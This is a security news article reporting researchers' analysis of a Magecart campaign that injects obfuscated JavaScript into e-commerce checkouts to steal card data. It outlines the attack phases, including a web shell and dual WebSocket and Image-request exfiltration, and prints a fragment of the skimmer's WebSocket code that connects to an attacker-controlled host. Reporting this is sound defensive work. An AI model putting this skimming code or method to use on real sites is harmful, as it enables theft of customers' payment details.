New Magecart Attack With Malicious JavaScript Steals Credit Card Data

A sophisticated Magecart attack campaign has been discovered targeting e-commerce platforms, employing heavily obfuscated JavaScript code to harvest sensitive payment information. This latest variant of Magecart skimming attacks exhibits advanced techniques for evading detection while seamlessly capturing credit card details during the checkout process. The malicious code, injected into compromised e-commerce sites, operates silently in […] The post New Magecart Attack With Malicious JavaScript Steals Credit Card Data appeared first on Cyber Security News.

Apr 22, 2025 - 19:39

New Magecart Attack With Malicious JavaScript Steals Credit Card Data

A sophisticated Magecart attack campaign has been discovered targeting e-commerce platforms, employing heavily obfuscated JavaScript code to harvest sensitive payment information.

This latest variant of Magecart skimming attacks exhibits advanced techniques for evading detection while seamlessly capturing credit card details during the checkout process.

The malicious code, injected into compromised e-commerce sites, operates silently in the background, creating an invisible bridge between unsuspecting customers and attackers’ command-and-control servers.

The attack follows a multi-stage intrusion pattern that begins with unauthorized access to the website’s back-end systems.

Attack steps (Source – Yarix)

According to the findings, attackers initially compromise administrator credentials, often using information stolen through infostealer malware deployed on victims’ systems.

These credentials provide the attackers with the privileged access needed to initiate their attack sequence, allowing them to bypass standard security measures and establish a foothold within the target infrastructure.

Yarix researchers identified this particular strain of Magecart during a forensic investigation of compromised e-commerce platforms.

Their analysis revealed that once attackers gain administrative access, they swiftly upload a customized PHP web shell to maintain persistent access, enabling continued control over the server even if the initial breach is discovered.

The web shell identified bears structural similarities to the open-source P.A.S. Fork v. 1.4 tool but contains custom modifications specific to this attack campaign.

The impact of these attacks extends beyond financial losses, creating significant reputational damage for affected merchants and eroding consumer trust.

The stolen data typically includes complete card details (number, expiration date, CVV), personal information (name, address, email), and often shipping details – essentially providing attackers with everything needed to conduct fraudulent transactions or engage in identity theft.

The attack progression follows four distinct phases: initial back-end access using stolen credentials, web shell installation for persistent control, database poisoning through injection of obfuscated code, and finally, the credit card theft phase where customer payment information is captured and exfiltrated.

This methodical approach demonstrates the sophisticated tactics employed by these threat actors.

JavaScript Obfuscation and Data Exfiltration Techniques

The malicious JavaScript employs sophisticated obfuscation techniques to evade detection. The original code appears as an unreadable jumble of hexadecimal values, variable assignments, and function calls without indentation.

A key function named “chameleon” serves as a cornerstone of the obfuscation strategy, dynamically redefining itself during execution and working in conjunction with immediately invoked function expressions (IIFE) to further complicate analysis.

createWebSocket=(randomString=genRandomString())=>{
    if(Mp2mK1sl_Socket!==![] || localStorage['getItem']
('XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf')===null)
        return![];
    Mp2mK1sl_Socket=new WebSocket('wss://'+JSON['parse'](localStorage['getItem']
('XsuHCYmfbgVSRFVx7SHRnU7DfapjFpaf'))['map']
(function(_Oxe38f46) {
            return String['fromCharCode'](_Oxe38f46);
        })['join']('')+'?token='+randomString)
}

The data exfiltration mechanism employs two distinct channels to ensure successful theft.

The primary method utilizes WebSockets for real-time communication with attacker-controlled servers, while a secondary technique leverages the Image object to create invisible requests containing encoded credit card data.

This innovative dual-channel approach increases the attackers’ chances of successfully extracting data even when network monitoring systems might detect and block one exfiltration method.

Malware Trends Report Based on 15000 SOC Teams Incidents, Q1 2025 out!-> Get Your Free Copy

The post New Magecart Attack With Malicious JavaScript Steals Credit Card Data appeared first on Cyber Security News.